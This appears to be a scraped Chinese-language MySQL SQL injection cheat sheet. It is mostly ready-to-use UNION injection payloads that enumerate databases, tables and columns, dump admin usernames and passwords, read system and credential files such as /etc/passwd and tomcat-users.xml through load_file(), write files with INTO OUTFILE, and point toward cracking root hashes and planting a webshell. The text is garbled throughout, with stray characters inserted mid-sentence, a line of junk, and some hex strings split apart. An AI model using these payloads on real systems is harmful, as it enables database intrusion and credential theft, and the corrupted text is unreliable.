一包警、信息查詢 information_schema是MySQL 5.0后產(chǎn)生的虛擬數(shù)據(jù)庫，提供訪問數(shù)據(jù)庫元數(shù)據(jù)的
方式篱瞎，即數(shù)據(jù)的數(shù)據(jù)澄者。比如數(shù)據(jù)庫所有庫名或表名粱挡，列類型嫌套，訪問權(quán)限痹筛。
MYsql 5.X以上版本的注入查詢主要基于information_schem
1.UNION 注入 （聯(lián)合查詢注入） ≥ MySQL 5? ? ? information_schema? （信息數(shù)據(jù)庫）瘟判，其中保存著關(guān)于 MySQL 服務(wù)器所維護(hù)的所有其它數(shù)據(jù)庫的 信息， 如數(shù)據(jù)庫名萧吠、表名左冬、數(shù)據(jù)類型、訪問權(quán)限等纸型。
顯示數(shù)據(jù)庫信息字段數(shù)查找
?id=1/**/Order/**/By/**/10/**/--? ? ? ? 正常則字段數(shù)>10 id=1/**/Order/**/By/**/12/**/--? ? ? ? 錯誤則字段數(shù)<12
枚舉數(shù)據(jù)庫名
?And 1=2 Union Select 1,SCHEMA_NAME from information_schema.SCHEMATA limit 0,1 （注意字段數(shù)）
從 0 個庫開始,顯示數(shù)到第 1 個庫
當(dāng)前數(shù)據(jù)庫名 and 1=2 union select 1,database()--
查表名?
and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x7068707a72--?
table_schema=后面是庫名的 16 進(jìn)制（上面爆出的庫名轉(zhuǎn)換16進(jìn)制）
查字段名
and 1=2 union select 1,COLUMN_NAME from information_schema.COLUMNS where table_name=0x61646d696e and table_schema=0x7068707a72 limit 1,1--
0x61646d696e? ? 表名 admin?
0x7068707a72? ? 庫名 phpzr（上面爆出的庫名拇砰，表名）
查字段內(nèi)容?
and 1=2 union select 1,concat(id,0x3c62723e,username,0x3c62723e,password) from admin--
從 admin 表中查詢字段名為 id、username狰腌、password 值的記錄（username除破，password都是上一步爆出的字段名）
admin是上面爆出的表名
0x3c62723e 表示<br>
、琼腔、瑰枫、、丹莲、躁垛、剖毯、、教馆、、擂达、土铺、、板鬓、悲敷、、俭令、后德、、抄腔、瓢湃、、赫蛇、绵患、、悟耘、落蝙、
一.查看 MYSQL 基本信息(庫名,版本,用戶)?
and 1=2 union select 1,database(),version(),user()--
關(guān)于找不到 ROOT 密碼的爆破: 通過 LOAD_FILE(’C:\..\MYSQL\DATA\MYSQL\USER.MYD’)得到用戶的 HASH 散列,之后用 CAIN 爆 破….? ? ??
current_user() 當(dāng)前用戶名?
version() ? ??MySQL 數(shù)據(jù)庫版本?
system_user() ? ? ?系統(tǒng)用戶名
?user() ? ? ? ? ?用戶名?
session_user() ? ??連接數(shù)據(jù)庫的用戶名?
database() ? ??數(shù)據(jù)庫名
?load_file() ? ? ? ?MySQL 讀文件(需 root 權(quán)限)?
@@datadir ? ?MySQL 庫文件路徑
@@version_compile_os? ? 操作系統(tǒng)
Substring()函數(shù) substring()是字符串讀取(可解決字段長度限制導(dǎo)致信息顯示不全) id=1/**/And/**/1=2/**/Union/**/Select/**/1,Substring(Load_file(0x633a2f626f6f742e696e69),1)/* */
Replace()函數(shù) Replace()是字符串替換函數(shù)，替換指定的字符串內(nèi)容暂幼，返回替換后全部數(shù)據(jù)筏勒。有時通過 load_file() 讀文件內(nèi)容無法正常顯示，例如用 Replace()替換掉其中編碼為 hex 的“<”及“空格”旺嬉。? id=1/**/And/**/1=2/**/Union/**/Select/**/1,replace(load_file(0x2f6574632f706173737764),0x3c,0 x20)/**/
寫入 webshell 一：無法獲得 web 目錄 ① 用 uploadpic.php 中 getimagesize()函數(shù)的小 bug管行，先在后臺添加上傳類型 text/asa，然后到前臺傳 圖片的地方傳個 asa 文件鹰服，這個函數(shù)無法讀取起大小病瞳，暴出錯誤時泄露了絕對路徑
二、入侵?jǐn)?shù)據(jù)庫操作系統(tǒng) 讀寫文件 前置條件?
1:讀文件 load_file()函數(shù)要數(shù)據(jù)庫 root 賬戶權(quán)限.
?2:寫文件 magic_quotes_gpc 必須為 off.
數(shù)據(jù)庫賬戶權(quán)限判斷 And Ord(Mid(User(),1,1))=114? ? ? ? ?
? 正常是 root
①? 讀文件 Hex (Recommend) http://127.0.0.1/web_vunerability/mysql.php?id=1/**/And/**/1=2/**/Union/**/Select/**/1,Replac e(Load_file(0x2f6574632f68747470642f636f6e662f68747470642e636f6e66),0x3c,0x20)/**/
/etc/httpd/conf/httpd.conf? ? ? ? ? ? //Red Hat 0x2f6574632f68747470642f636f6e662f68747470642e636f6e66
c:\windows\system32\inetsrv\MetaBase.xml? ? ? ? //NT 5.2 0x633a5c77696e646f77735c73797374656d33325c696e65747372765c4d657461426173652e786d6c
c:\Program Files\Tomcat\conf\tomcat-users.xml? ? ? //Tomcat For Windows 0x433a5c50726f6772616d2046696c65735c546f6d6361745c636f6e665c746f6d6361742d7573657273 2e786d6c
Char And/**/1=2/**/Union/**/Select/**/1,Load_file(char(99,58,92,98,111,111,116,46,105,110,105))/**/
無編碼 And/**/1=2/**/Union/**/Select/**/1,load_file('c:/boot.ini')/**/
②? 寫文件 and 1=2 union all select 'fuck',2 into outfile 'd:/fuck2.txt'#
